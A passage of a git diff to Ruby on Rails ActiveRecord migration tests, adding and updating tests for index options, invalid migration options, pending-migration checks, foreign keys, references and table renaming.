+        connection.remove_index("testings", "last_name_and_first_name")
+
         connection.add_index("testings", ["last_name", "first_name"])
         connection.remove_index("testings", ["last_name", "first_name"])
 
@@ -178,38 +248,97 @@ def test_add_index
         connection.add_index("testings", ["last_name", "first_name"], length: { last_name: 10, first_name: 20 })
         connection.remove_index("testings", ["last_name", "first_name"])
 
+        connection.add_index("testings", "key", unique: true)
+        connection.remove_index("testings", "key", unique: true)
+
         connection.add_index("testings", ["key"], name: "key_idx", unique: true)
         connection.remove_index("testings", name: "key_idx", unique: true)
 
         connection.add_index("testings", %w(last_name first_name administrator), name: "named_admin")
         connection.remove_index("testings", name: "named_admin")
 
-        # Selected adapters support index sort order
-        if current_adapter?(:SQLite3Adapter, :Mysql2Adapter, :PostgreSQLAdapter)
-          connection.add_index("testings", ["last_name"], order: { last_name: :desc })
-          connection.remove_index("testings", ["last_name"])
-          connection.add_index("testings", ["last_name", "first_name"], order: { last_name: :desc })
-          connection.remove_index("testings", ["last_name", "first_name"])
-          connection.add_index("testings", ["last_name", "first_name"], order: { last_name: :desc, first_name: :asc })
-          connection.remove_index("testings", ["last_name", "first_name"])
-          connection.add_index("testings", ["last_name", "first_name"], order: :desc)
-          connection.remove_index("testings", ["last_name", "first_name"])
-        end
+        connection.add_index("testings", ["last_name"], order: { last_name: :desc })
+        connection.remove_index("testings", ["last_name"])
+        connection.add_index("testings", ["last_name", "first_name"], order: { last_name: :desc })
+        connection.remove_index("testings", ["last_name", "first_name"])
+        connection.add_index("testings", ["last_name", "first_name"], order: { last_name: :desc, first_name: :asc })
+        connection.remove_index("testings", ["last_name", "first_name"])
+        connection.add_index("testings", ["last_name", "first_name"], order: :desc)
+        connection.remove_index("testings", ["last_name", "first_name"])
+      end
+
+      def test_add_partial_index
+        skip("current adapter doesn't support partial indexes") unless supports_partial_index?
+
+        connection.add_index("testings", "last_name", where: "first_name = 'john doe'")
+        assert connection.index_exists?("testings", "last_name")
+
+        connection.remove_index("testings", "last_name")
+        assert_not connection.index_exists?("testings", "last_name")
       end
 
-      if current_adapter?(:PostgreSQLAdapter)
-        def test_add_partial_index
-          connection.add_index("testings", "last_name", where: "first_name = 'john doe'")
-          assert connection.index_exists?("testings", "last_name")
+      def test_add_index_with_included_column
+        skip("current adapter doesn't support include indexes") unless supports_index_include?
+
+        connection.add_index("testings", "last_name", include: :foo)
+        assert connection.index_exists?("testings", "last_name", include: :foo)
+
+        connection.remove_index("testings", "last_name")
+        assert_not connection.index_exists?("testings", "last_name")
+      end
+
+      def test_add_index_with_multiple_included_columns
+        skip("current adapter doesn't support include indexes") unless supports_index_include?
+
+        connection.add_index("testings", "last_name", include: [:foo, :bar])
+        assert connection.index_exists?("testings", "last_name", include: [:foo, :bar])
+
+        connection.remove_index("testings", "last_name")
+        assert_not connection.index_exists?("testings", "last_name")
+      end
+
+      def test_add_index_with_included_column_and_where_clause
+        skip("current adapter doesn't support include indexes") unless supports_index_include?
+
+        connection.add_index("testings", "last_name", include: :foo, where: "first_name = 'john doe'")
+        assert connection.index_exists?("testings", "last_name", include: :foo, where: "first_name = 'john doe'")
+
+        connection.remove_index("testings", "last_name")
+        assert_not connection.index_exists?("testings", "last_name", include: :foo, where: "first_name = 'john doe'")
+      end
+
+      def test_add_index_with_nulls_not_distinct_assert_exists_with_same_values
+        skip("current adapter doesn't support nulls not distinct") unless supports_nulls_not_distinct?
+
+        connection.add_index("testings", "last_name", nulls_not_distinct: true)
+        assert connection.index_exists?("testings", "last_name", nulls_not_distinct: true)
+      end
+
+      def test_add_index_with_nulls_not_distinct_assert_exists_with_different_values
+        skip("current adapter doesn't support nulls not distinct") unless supports_nulls_not_distinct?
+
+        connection.add_index("testings", "last_name", nulls_not_distinct: false)
+        assert_not connection.index_exists?("testings", "last_name", nulls_not_distinct: true)
+      end
+
+      if ActiveRecord::Base.lease_connection.supports_disabling_indexes?
+        def test_index_visibility_through_add_index
+          connection.add_index(:testings, :foo, enabled: false)
+
+          assert connection.index_exists?(:testings, :foo, enabled: false)
+        end
+
+        def test_index_disabling_through_disable_index
+          connection.add_index(:testings, :foo)
+          connection.disable_index(:testings, "index_testings_on_foo")
 
-          connection.remove_index("testings", "last_name")
-          assert !connection.index_exists?("testings", "last_name")
+          assert connection.index_exists?(:testings, :foo, enabled: false)
         end
       end
 
       private
         def good_index_name
-          "x" * connection.allowed_index_name_length
+          "x" * connection.index_name_length
         end
     end
   end
diff --git a/activerecord/test/cases/migration/invalid_options_test.rb b/activerecord/test/cases/migration/invalid_options_test.rb
new file mode 100644
index 0000000000000..d2645748c824f
--- /dev/null
+++ b/activerecord/test/cases/migration/invalid_options_test.rb
@@ -0,0 +1,132 @@
+# frozen_string_literal: true
+
+require "cases/migration/helper"
+
+module ActiveRecord
+  class Migration
+    class InvalidOptionsTest < ActiveRecord::TestCase
+      include ActiveRecord::Migration::TestHelper
+
+      def invalid_add_column_option_exception_message(key)
+        default_keys = [":limit", ":precision", ":scale", ":default", ":null", ":collation", ":comment", ":primary_key", ":if_exists", ":if_not_exists"]
+
+        if current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
+          default_keys.concat([":auto_increment", ":charset", ":as", ":size", ":unsigned", ":first", ":after", ":type", ":stored"])
+        elsif current_adapter?(:PostgreSQLAdapter)
+          default_keys.concat([":array", ":using", ":cast_as", ":as", ":type", ":enum_type", ":stored"])
+        elsif current_adapter?(:SQLite3Adapter)
+          default_keys.concat([":as", ":type", ":stored"])
+        end
+
+        "Unknown key: :#{key}. Valid keys are: #{default_keys.join(", ")}"
+      end
+
+      def invalid_add_index_option_exception_message(key)
+        default_keys = [":unique", ":length", ":order", ":opclass", ":where", ":type", ":using", ":comment", ":algorithm", ":include", ":nulls_not_distinct"]
+
+        if connection.supports_disabling_indexes?
+          default_keys.concat([":enabled"])
+        end
+
+        "Unknown key: :#{key}. Valid keys are: #{default_keys.join(", ")}"
+      end
+
+      def invalid_create_table_option_exception_message(key)
+        table_keys = [":temporary", ":if_not_exists", ":options", ":as", ":comment", ":charset", ":collation"]
+        primary_keys = [":limit", ":default", ":precision"]
+
+        if current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
+          primary_keys.concat([":unsigned", ":auto_increment"])
+        elsif current_adapter?(:SQLite3Adapter)
+          table_keys.concat([":rename"])
+        end
+
+        "Unknown key: :#{key}. Valid keys are: #{(table_keys + primary_keys).join(", ")}"
+      end
+
+      def test_add_reference_with_invalid_options
+        exception = assert_raises(ArgumentError) do
+          connection.create_table "my_table", force: true do |t|
+            t.references :some_table, boring_key: true
+          end
+        end
+
+        assert_equal(
+          invalid_add_column_option_exception_message(:boring_key),
+          exception.message
+        )
+
+        exception = assert_raises(ArgumentError) do
+          add_reference :some_table, :some_column, boring_key: true
+        end
+
+        assert_equal(
+          invalid_add_column_option_exception_message(:boring_key),
+          exception.message
+        )
+      ensure
+        connection.drop_table :my_table, if_exists: true
+      end
+
+      def test_add_column_with_invalid_options
+        exception = assert_raises(ArgumentError) do
+          add_column "test_models", "first_name", :string, preccision: true
+        end
+
+        assert_equal(
+          invalid_add_column_option_exception_message(:preccision),
+          exception.message
+        )
+
+        exception = assert_raises(ArgumentError) do
+          connection.create_table "my_table", force: true do |t|
+            t.string :first_name, index: { nema: "test" }
+          end
+        end
+
+        assert_equal(
+          invalid_add_index_option_exception_message(:nema),
+          exception.message
+        )
+      ensure
+        connection.drop_table :my_table, if_exists: true
+      end
+
+      def test_add_index_with_invalid_options
+        exception = assert_raises(ArgumentError) do
+          add_index "test_models", "first_name", nema: "my_index"
+        end
+
+        assert_equal(
+          invalid_add_index_option_exception_message(:nema),
+          exception.message
+        )
+      end
+
+      if current_adapter?(:Mysql2Adapter, :TrilogyAdapter, :PostgreSQLAdapter)
+        def test_change_column_with_invalid_options
+          exception = assert_raises(ArgumentError) do
+            change_column "posts", "title", :text, liimit: true
+          end
+
+          assert_equal(
+            invalid_add_column_option_exception_message(:liimit),
+            exception.message
+          )
+        end
+      end
+
+      def test_create_table_with_invalid_options
+        exception = assert_raises(ArgumentError) do
+          connection.create_table "my_table", idd: false do |t|
+          end
+        end
+
+        assert_equal(
+          invalid_create_table_option_exception_message(:idd),
+          exception.message
+        )
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/migration/logger_test.rb b/activerecord/test/cases/migration/logger_test.rb
index 3d7c7ad469c88..22271aa8f4af8 100644
--- a/activerecord/test/cases/migration/logger_test.rb
+++ b/activerecord/test/cases/migration/logger_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 
 module ActiveRecord
@@ -15,19 +17,23 @@ def migrate(direction)
 
       def setup
         super
-        ActiveRecord::SchemaMigration.create_table
-        ActiveRecord::SchemaMigration.delete_all
+        @schema_migration = ActiveRecord::Base.connection_pool.schema_migration
+        @schema_migration.create_table
+        @schema_migration.delete_all_versions
+        @internal_metadata = ActiveRecord::Base.connection_pool.internal_metadata
       end
 
       teardown do
-        ActiveRecord::SchemaMigration.drop_table
+        @schema_migration&.delete_all_versions
       end
 
       def test_migration_should_be_run_without_logger
         previous_logger = ActiveRecord::Base.logger
         ActiveRecord::Base.logger = nil
         migrations = [Migration.new("a", 1), Migration.new("b", 2), Migration.new("c", 3)]
-        ActiveRecord::Migrator.new(:up, migrations).migrate
+        assert_nothing_raised do
+          ActiveRecord::Migrator.new(:up, migrations, @schema_migration, @internal_metadata).migrate
+        end
       ensure
         ActiveRecord::Base.logger = previous_logger
       end
diff --git a/activerecord/test/cases/migration/pending_migrations_test.rb b/activerecord/test/cases/migration/pending_migrations_test.rb
index 61f5a061b01a3..cf9d3780e1c0f 100644
--- a/activerecord/test/cases/migration/pending_migrations_test.rb
+++ b/activerecord/test/cases/migration/pending_migrations_test.rb
@@ -1,51 +1,148 @@
+# frozen_string_literal: true
+
 require "cases/helper"
+require "active_support/core_ext/hash/deep_merge"
 
 module ActiveRecord
   class Migration
     class PendingMigrationsTest < ActiveRecord::TestCase
-      def setup
-        super
-        @connection = Minitest::Mock.new
-        @app = Minitest::Mock.new
-        conn = @connection
-        @pending = Class.new(CheckPending) {
-          define_method(:connection) { conn }
-        }.new(@app)
-        @pending.instance_variable_set :@last_check, -1 # Force checking
-      end
+      if current_adapter?(:SQLite3Adapter) && !in_memory_db?
+        self.use_transactional_tests = false
 
-      def teardown
-        assert @connection.verify
-        assert @app.verify
-        super
-      end
+        setup do
+          @tmp_dir = Dir.mktmpdir("pending_migrations_test-")
 
-      def test_errors_if_pending
-        @connection.expect :supports_migrations?, true
+          @original_configurations = ActiveRecord::Base.configurations
+          ActiveRecord::Base.configurations = base_config
+          ActiveRecord::Base.establish_connection(:primary)
+        end
 
-        ActiveRecord::Migrator.stub :needs_migration?, true do
-          assert_raise ActiveRecord::PendingMigrationError do
-            @pending.call(nil)
-          end
+        teardown do
+          ActiveRecord::Base.configurations = @original_configurations
+          ActiveRecord::Base.establish_connection(:arunit)
+          FileUtils.rm_rf(@tmp_dir)
+        end
+
+        def run_migrations
+          migrator = Base.connection_pool.migration_context
+          capture(:stdout) { migrator.migrate }
         end
-      end
 
-      def test_checks_if_supported
-        @connection.expect :supports_migrations?, true
-        @app.expect :call, nil, [:foo]
+        def create_migration(number, name, database: :primary)
+          migration_dir = migrations_path_for(database)
+          FileUtils.mkdir_p(migration_dir)
 
-        ActiveRecord::Migrator.stub :needs_migration?, false do
-          @pending.call(:foo)
+          filename = "#{number}_#{name.underscore}.rb"
+          File.write(File.join(migration_dir, filename), <<~RUBY)
+            class #{name.classify} < ActiveRecord::Migration::Current
+            end
+          RUBY
+        end
+
+        def test_errors_if_pending
+          create_migration "01", "create_foo"
+          assert_pending_migrations("01_create_foo.rb")
+        end
+
+        def test_checks_if_supported
+          run_migrations
+          assert_no_pending_migrations
+        end
+
+        def test_okay_with_no_migrations
+          assert_no_pending_migrations
+        end
+
+        # Regression test for https://github.com/rails/rails/pull/29759
+        def test_understands_migrations_created_out_of_order
+          # With a prior file before even initialization
+          create_migration "05", "create_bar"
+          quietly { run_migrations }
+          assert_no_pending_migrations
+
+          # It understands the new migration created at 01
+          create_migration "01", "create_foo"
+          assert_pending_migrations("01_create_foo.rb")
         end
-      end
 
-      def test_doesnt_check_if_unsupported
-        @connection.expect :supports_migrations?, false
-        @app.expect :call, nil, [:foo]
+        def test_with_multiple_database
+          create_migration "01", "create_bar", database: :primary
+          create_migration "02", "create_foo", database: :secondary
+          assert_pending_migrations("01_create_bar.rb", "02_create_foo.rb")
 
-        ActiveRecord::Migrator.stub :needs_migration?, true do
-          @pending.call(:foo)
+          ActiveRecord::Base.establish_connection(:secondary)
+          quietly { run_migrations }
+
+          ActiveRecord::Base.establish_connection(:primary)
+          quietly { run_migrations }
+
+          assert_no_pending_migrations
         end
+
+        def test_with_stdlib_logger
+          old, ActiveRecord::Base.logger = ActiveRecord::Base.logger, ::Logger.new(StringIO.new)
+          assert_nothing_raised { CheckPending.new(proc { }).call({}) }
+        ensure
+          ActiveRecord::Base.logger = old
+        end
+
+        private
+          def assert_pending_migrations(*expected_migrations)
+            2.times do
+              assert_raises ActiveRecord::PendingMigrationError do
+                ActiveRecord::Migration.check_all_pending!
+              end
+
+              error = assert_raises ActiveRecord::PendingMigrationError do
+                CheckPending.new(proc { flunk }).call({})
+              end
+
+              assert_includes error.message, "Migrations are pending."
+              expected_migrations.each do |migration|
+                assert_includes error.message, migration
+              end
+            end
+          end
+
+          def assert_no_pending_migrations
+            app = Minitest::Mock.new
+            check_pending = CheckPending.new(app)
+
+            2.times do
+              assert_nothing_raised do
+                ActiveRecord::Migration.check_all_pending!
+              end
+
+              app.expect :call, nil, [{}]
+              check_pending.call({})
+              app.verify
+            end
+          end
+
+          def database_path_for(database_name)
+            File.join(@tmp_dir, "#{database_name}.sqlite3")
+          end
+
+          def migrations_path_for(database_name)
+            File.join(@tmp_dir, "#{database_name}-migrations")
+          end
+
+          def base_config(additional_config = {})
+            {
+              ActiveRecord::ConnectionHandling::DEFAULT_ENV.call => {
+                primary: {
+                  adapter: "sqlite3",
+                  database: database_path_for(:primary),
+                  migrations_paths: migrations_path_for(:primary),
+                },
+                secondary: {
+                  adapter: "sqlite3",
+                  database: database_path_for(:secondary),
+                  migrations_paths: migrations_path_for(:secondary),
+                },
+              }.deep_merge(additional_config)
+            }
+          end
       end
     end
   end
diff --git a/activerecord/test/cases/migration/references_foreign_key_test.rb b/activerecord/test/cases/migration/references_foreign_key_test.rb
index 9418995ea0ea7..b61738353a9f0 100644
--- a/activerecord/test/cases/migration/references_foreign_key_test.rb
+++ b/activerecord/test/cases/migration/references_foreign_key_test.rb
@@ -1,11 +1,13 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 
-if ActiveRecord::Base.connection.supports_foreign_keys_in_create?
+if ActiveRecord::Base.lease_connection.supports_foreign_keys?
   module ActiveRecord
     class Migration
       class ReferencesForeignKeyInCreateTest < ActiveRecord::TestCase
         setup do
-          @connection = ActiveRecord::Base.connection
+          @connection = ActiveRecord::Base.lease_connection
           @connection.create_table(:testing_parents, force: true)
         end
 
@@ -33,7 +35,7 @@ class ReferencesForeignKeyInCreateTest < ActiveRecord::TestCase
         end
 
         test "foreign keys can be created in one query when index is not added" do
-          assert_queries(1) do
+          assert_queries_count(1) do
             @connection.create_table :testings do |t|
               t.references :testing_parent, foreign_key: true, index: false
             end
@@ -60,17 +62,57 @@ class ReferencesForeignKeyInCreateTest < ActiveRecord::TestCase
           assert_equal([["testings", "testing_parents", "parent_id"]],
                        fks.map { |fk| [fk.from_table, fk.to_table, fk.column] })
         end
+
+        if ActiveRecord::Base.lease_connection.supports_deferrable_constraints?
+          test "deferrable: false option can be passed" do
+            @connection.create_table :testings do |t|
+              t.references :testing_parent, foreign_key: { deferrable: false }
+            end
+
+            fks = @connection.foreign_keys("testings")
+            assert_equal([["testings", "testing_parents", "testing_parent_id", false]],
+                         fks.map { |fk| [fk.from_table, fk.to_table, fk.column, fk.deferrable] })
+          end
+
+          test "deferrable: :immediate option can be passed" do
+            @connection.create_table :testings do |t|
+              t.references :testing_parent, foreign_key: { deferrable: :immediate }
+            end
+
+            fks = @connection.foreign_keys("testings")
+            assert_equal([["testings", "testing_parents", "testing_parent_id", :immediate]],
+                         fks.map { |fk| [fk.from_table, fk.to_table, fk.column, fk.deferrable] })
+          end
+
+          test "deferrable: :deferred option can be passed" do
+            @connection.create_table :testings do |t|
+              t.references :testing_parent, foreign_key: { deferrable: :deferred }
+            end
+
+            fks = @connection.foreign_keys("testings")
+            assert_equal([["testings", "testing_parents", "testing_parent_id", :deferred]],
+                         fks.map { |fk| [fk.from_table, fk.to_table, fk.column, fk.deferrable] })
+          end
+
+          test "deferrable and on_(delete|update) option can be passed" do
+            @connection.create_table :testings do |t|
+              t.references :testing_parent, foreign_key: { on_update: :cascade, on_delete: :cascade, deferrable: :immediate }
+            end
+
+            fks = @connection.foreign_keys("testings")
+            assert_equal([["testings", "testing_parents", "testing_parent_id", :cascade, :cascade, :immediate]],
+                         fks.map { |fk| [fk.from_table, fk.to_table, fk.column, fk.on_delete, fk.on_update, fk.deferrable] })
+          end
+        end
       end
     end
   end
-end
 
-if ActiveRecord::Base.connection.supports_foreign_keys?
   module ActiveRecord
     class Migration
       class ReferencesForeignKeyTest < ActiveRecord::TestCase
         setup do
-          @connection = ActiveRecord::Base.connection
+          @connection = ActiveRecord::Base.lease_connection
           @connection.create_table(:testing_parents, force: true)
         end
 
@@ -139,25 +181,51 @@ class ReferencesForeignKeyTest < ActiveRecord::TestCase
           end
         end
 
+        test "removing column removes foreign key" do
+          @connection.create_table :testings do |t|
+            t.references :testing_parent, index: true, foreign_key: true
+          end
+
+          assert_difference "@connection.foreign_keys('testings').size", -1 do
+            @connection.remove_column :testings, :testing_parent_id
+          end
+        end
+
         test "foreign key methods respect pluralize_table_names" do
-          begin
-            original_pluralize_table_names = ActiveRecord::Base.pluralize_table_names
-            ActiveRecord::Base.pluralize_table_names = false
-            @connection.create_table :testing
-            @connection.change_table :testing_parents do |t|
-              t.references :testing, foreign_key: true
-            end
+          original_pluralize_table_names = ActiveRecord::Base.pluralize_table_names
+          ActiveRecord::Base.pluralize_table_names = false
+          @connection.create_table :testing
+          @connection.change_table :testing_parents do |t|
+            t.references :testing, foreign_key: true
+          end
 
-            fk = @connection.foreign_keys("testing_parents").first
-            assert_equal "testing_parents", fk.from_table
-            assert_equal "testing", fk.to_table
+          fk = @connection.foreign_keys("testing_parents").first
+          assert_equal "testing_parents", fk.from_table
+          assert_equal "testing", fk.to_table
 
-            assert_difference "@connection.foreign_keys('testing_parents').size", -1 do
-              @connection.remove_reference :testing_parents, :testing, foreign_key: true
-            end
-          ensure
-            ActiveRecord::Base.pluralize_table_names = original_pluralize_table_names
-            @connection.drop_table "testing", if_exists: true
+          assert_difference "@connection.foreign_keys('testing_parents').size", -1 do
+            @connection.remove_reference :testing_parents, :testing, foreign_key: true
+          end
+        ensure
+          ActiveRecord::Base.pluralize_table_names = original_pluralize_table_names
+          @connection.drop_table "testing", if_exists: true
+        end
+
+        test "remove_reference responds to if_exists option" do
+          @connection.create_table :testings
+
+          assert_nothing_raised do
+            @connection.remove_reference :testings, :nonexistent, foreign_key: true, if_exists: true
+          end
+        end
+
+        test "add_reference responds to if_not_exists option" do
+          @connection.create_table :testings do |t|
+            t.references :testing, foreign_key: true
+          end
+
+          assert_nothing_raised do
+            @connection.add_reference :testings, :testing, foreign_key: true, if_not_exists: true
           end
         end
 
@@ -195,35 +263,33 @@ def test_references_foreign_key_with_suffix
           @connection.create_table :testings do |t|
             t.references :parent1, foreign_key: { to_table: :testing_parents }
             t.references :parent2, foreign_key: { to_table: :testing_parents }
+            t.references :self_join, foreign_key: { to_table: :testings }
           end
 
           fks = @connection.foreign_keys("testings").sort_by(&:column)
 
           fk_definitions = fks.map { |fk| [fk.from_table, fk.to_table, fk.column] }
           assert_equal([["testings", "testing_parents", "parent1_id"],
-                        ["testings", "testing_parents", "parent2_id"]], fk_definitions)
+                        ["testings", "testing_parents", "parent2_id"],
+                        ["testings", "testings", "self_join_id"]], fk_definitions)
         end
-      end
-    end
-  end
-else
-  class ReferencesWithoutForeignKeySupportTest < ActiveRecord::TestCase
-    setup do
-      @connection = ActiveRecord::Base.connection
-      @connection.create_table(:testing_parents, force: true)
-    end
 
-    teardown do
-      @connection.drop_table("testings", if_exists: true)
-      @connection.drop_table("testing_parents", if_exists: true)
-    end
+        test "multiple foreign keys can be removed to the selected one" do
+          @connection.create_table :testings do |t|
+            t.references :parent1, foreign_key: { to_table: :testing_parents }
+            t.references :parent2, foreign_key: { to_table: :testing_parents }
+          end
 
-    test "ignores foreign keys defined with the table" do
-      @connection.create_table :testings do |t|
-        t.references :testing_parent, foreign_key: true
-      end
+          assert_difference "@connection.foreign_keys('testings').size", -1 do
+            @connection.remove_reference :testings, :parent1, foreign_key: { to_table: :testing_parents }
+          end
+
+          fks = @connection.foreign_keys("testings").sort_by(&:column)
 
-      assert_includes @connection.data_sources, "testings"
+          fk_definitions = fks.map { |fk| [fk.from_table, fk.to_table, fk.column] }
+          assert_equal([["testings", "testing_parents", "parent2_id"]], fk_definitions)
+        end
+      end
     end
   end
 end
diff --git a/activerecord/test/cases/migration/references_index_test.rb b/activerecord/test/cases/migration/references_index_test.rb
index 2866cabab6802..7cf3bc1a2338b 100644
--- a/activerecord/test/cases/migration/references_index_test.rb
+++ b/activerecord/test/cases/migration/references_index_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 
 module ActiveRecord
@@ -7,7 +9,7 @@ class ReferencesIndexTest < ActiveRecord::TestCase
 
       def setup
         super
-        @connection = ActiveRecord::Base.connection
+        @connection = ActiveRecord::Base.lease_connection
         @table_name = :testings
       end
 
@@ -23,6 +25,16 @@ def test_creates_index
         assert connection.index_exists?(table_name, :foo_id, name: :index_testings_on_foo_id)
       end
 
+      if ActiveRecord::Base.lease_connection.supports_disabling_indexes?
+        def test_creates_invisible_index
+          connection.create_table table_name do |t|
+            t.references :foo, index: { enabled: false }
+          end
+
+          assert connection.index_exists?(table_name, :foo_id, name: :index_testings_on_foo_id, enabled: false)
+        end
+      end
+
       def test_creates_index_by_default_even_if_index_option_is_not_passed
         connection.create_table table_name do |t|
           t.references :foo
@@ -49,14 +61,20 @@ def test_creates_index_with_options
         assert connection.index_exists?(table_name, :bar_id, name: :index_testings_on_bar_id, unique: true)
       end
 
-      unless current_adapter? :OracleAdapter
-        def test_creates_polymorphic_index
-          connection.create_table table_name do |t|
-            t.references :foo, polymorphic: true, index: true
-          end
+      def test_creates_polymorphic_index
+        connection.create_table table_name do |t|
+          t.references :foo, polymorphic: true, index: true
+        end
+
+        assert connection.index_exists?(table_name, [:foo_type, :foo_id], name: :index_testings_on_foo)
+      end
 
-          assert connection.index_exists?(table_name, [:foo_type, :foo_id], name: :index_testings_on_foo_type_and_foo_id)
+      def test_creates_polymorphic_index_with_custom_name
+        connection.create_table table_name do |t|
+          t.references :foo, polymorphic: true, index: { name: :testings_foo_index }
         end
+
+        assert connection.index_exists?(table_name, [:foo_type, :foo_id], name: :testings_foo_index)
       end
 
       def test_creates_index_for_existing_table
@@ -86,15 +104,22 @@ def test_does_not_create_index_for_existing_table_explicit
         assert_not connection.index_exists?(table_name, :foo_id, name: :index_testings_on_foo_id)
       end
 
-      unless current_adapter? :OracleAdapter
-        def test_creates_polymorphic_index_for_existing_table
-          connection.create_table table_name
-          connection.change_table table_name do |t|
-            t.references :foo, polymorphic: true, index: true
-          end
+      def test_creates_polymorphic_index_for_existing_table
+        connection.create_table table_name
+        connection.change_table table_name do |t|
+          t.references :foo, polymorphic: true, index: true
+        end
+
+        assert connection.index_exists?(table_name, [:foo_type, :foo_id], name: :index_testings_on_foo)
+      end
 
-          assert connection.index_exists?(table_name, [:foo_type, :foo_id], name: :index_testings_on_foo_type_and_foo_id)
+      def test_creates_polymorphic_index_for_existing_table_with_custom_name
+        connection.create_table table_name
+        connection.change_table table_name do |t|
+          t.references :foo, polymorphic: true, index: { name: :testings_foo_index }
         end
+
+        assert connection.index_exists?(table_name, [:foo_type, :foo_id], name: :testings_foo_index)
       end
     end
   end
diff --git a/activerecord/test/cases/migration/references_statements_test.rb b/activerecord/test/cases/migration/references_statements_test.rb
index df15d7cb457ee..484cf8b8ace7d 100644
--- a/activerecord/test/cases/migration/references_statements_test.rb
+++ b/activerecord/test/cases/migration/references_statements_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/migration/helper"
 
 module ActiveRecord
@@ -5,8 +7,6 @@ class Migration
     class ReferencesStatementsTest < ActiveRecord::TestCase
       include ActiveRecord::Migration::TestHelper
 
-      self.use_transactional_tests = false
-
       def setup
         super
         @table_name = :test_models
@@ -20,6 +20,13 @@ def test_creates_reference_id_column
         assert column_exists?(table_name, :user_id, :integer)
       end
 
+      def test_primary_key_and_references_columns_should_be_identical_type
+        add_reference table_name, :user
+        pk = connection.send(:column_for, :users, :id)
+        ref = connection.send(:column_for, table_name, :user_id)
+        assert_equal pk.sql_type, ref.sql_type
+      end
+
       def test_does_not_create_reference_type_column
         add_reference table_name, :taggable
         assert_not column_exists?(table_name, :taggable_type, :string)
@@ -50,6 +57,21 @@ def test_creates_reference_type_column_with_default
         assert column_exists?(table_name, :taggable_type, :string, default: "Photo")
       end
 
+      def test_creates_reference_type_column_with_not_null
+        connection.create_table table_name, force: true do |t|
+          t.references :taggable, null: false, polymorphic: true
+        end
+        assert column_exists?(table_name, :taggable_id, :integer, null: false)
+        assert column_exists?(table_name, :taggable_type, :string, null: false)
+      end
+
+      def test_does_not_share_options_with_reference_type_column
+        add_reference table_name, :taggable, type: :integer, limit: 2, polymorphic: true
+        assert column_exists?(table_name, :taggable_id, :integer, limit: 2)
+        assert column_exists?(table_name, :taggable_type, :string)
+        assert_not column_exists?(table_name, :taggable_type, :string, limit: 2)
+      end
+
       def test_creates_named_index
         add_reference table_name, :tag, index: { name: "index_taggings_on_tag_id" }
         assert index_exists?(table_name, :tag_id, name: "index_taggings_on_tag_id")
@@ -108,8 +130,23 @@ def test_remove_belongs_to_alias
         assert_not column_exists?(table_name, :supplier_id, :integer)
       end
 
-      private
+      def test_responds_to_if_exists_option
+        with_polymorphic_column do
+          assert_nothing_raised do
+            remove_reference table_name, :nonexistent, polymorphic: true, if_exists: true
+          end
+        end
+      end
 
+      def test_responds_to_if_not_exists_option
+        with_polymorphic_column do
+          assert_nothing_raised do
+            add_reference table_name, :supplier, polymorphic: true, if_not_exists: true
+          end
+        end
+      end
+
+      private
         def with_polymorphic_column
           add_column table_name, :supplier_type, :string
           add_index table_name, [:supplier_id, :supplier_type]
diff --git a/activerecord/test/cases/migration/rename_table_test.rb b/activerecord/test/cases/migration/rename_table_test.rb
index 19588d28a289a..acfe0ef8b0b65 100644
--- a/activerecord/test/cases/migration/rename_table_test.rb
+++ b/activerecord/test/cases/migration/rename_table_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/migration/helper"
 
 module ActiveRecord
@@ -19,74 +21,81 @@ def teardown
         super
       end
 
-      if current_adapter?(:SQLite3Adapter)
-        def test_rename_table_for_sqlite_should_work_with_reserved_words
-          renamed = false
+      def test_rename_table_should_work_with_reserved_words
+        renamed = false
 
-          add_column :test_models, :url, :string
-          connection.rename_table :references, :old_references
-          connection.rename_table :test_models, :references
+        connection.drop_table :old_references, if_exists: true
+        connection.rename_table :references, :old_references
+        connection.rename_table :test_models, :references
 
-          renamed = true
+        renamed = true
 
-          # Using explicit id in insert for compatibility across all databases
-          connection.execute "INSERT INTO 'references' (url, created_at, updated_at) VALUES ('http://rubyonrails.com', 0, 0)"
-          assert_equal "http://rubyonrails.com", connection.select_value("SELECT url FROM 'references' WHERE id=1")
-        ensure
-          return unless renamed
+        # Using explicit id in insert for compatibility across all databases
+        table_name = connection.quote_table_name("references")
+        connection.execute "INSERT INTO #{table_name} (id, url) VALUES (123, 'http://rubyonrails.com')"
+        assert_equal "http://rubyonrails.com", connection.select_value("SELECT url FROM #{table_name} WHERE id=123")
+      ensure
+        if renamed
           connection.rename_table :references, :test_models
           connection.rename_table :old_references, :references
         end
       end
 
-      unless current_adapter?(:FbAdapter) # Firebird cannot rename tables
-        def test_rename_table
-          rename_table :test_models, :octopi
+      def test_rename_table
+        rename_table :test_models, :octopi
 
-          connection.execute "INSERT INTO octopi (#{connection.quote_column_name('id')}, #{connection.quote_column_name('url')}) VALUES (1, 'http://www.foreverflying.com/octopus-black7.jpg')"
+        connection.execute "INSERT INTO octopi (#{connection.quote_column_name('id')}, #{connection.quote_column_name('url')}) VALUES (1, 'http://www.foreverflying.com/octopus-black7.jpg')"
 
-          assert_equal "http://www.foreverflying.com/octopus-black7.jpg", connection.select_value("SELECT url FROM octopi WHERE id=1")
-        end
+        assert_equal "http://www.foreverflying.com/octopus-black7.jpg", connection.select_value("SELECT url FROM octopi WHERE id=1")
+      end
 
-        def test_rename_table_with_an_index
-          add_index :test_models, :url
+      def test_rename_table_raises_for_long_table_names
+        name_limit = connection.table_name_length
+        long_name = "a" * (name_limit + 1)
+        short_name = "a" * name_limit
 
-          rename_table :test_models, :octopi
+        error = assert_raises(ArgumentError) do
+          connection.rename_table :test_models, long_name
+        end
+        assert_equal "Table name '#{long_name}' is too long \(#{long_name.length} characters\); the limit is #{name_limit} characters", error.message
 
-          connection.execute "INSERT INTO octopi (#{connection.quote_column_name('id')}, #{connection.quote_column_name('url')}) VALUES (1, 'http://www.foreverflying.com/octopus-black7.jpg')"
+        connection.rename_table :test_models, short_name
+        assert connection.table_exists?(short_name)
+      ensure
+        connection.drop_table short_name, if_exists: true
+      end
 
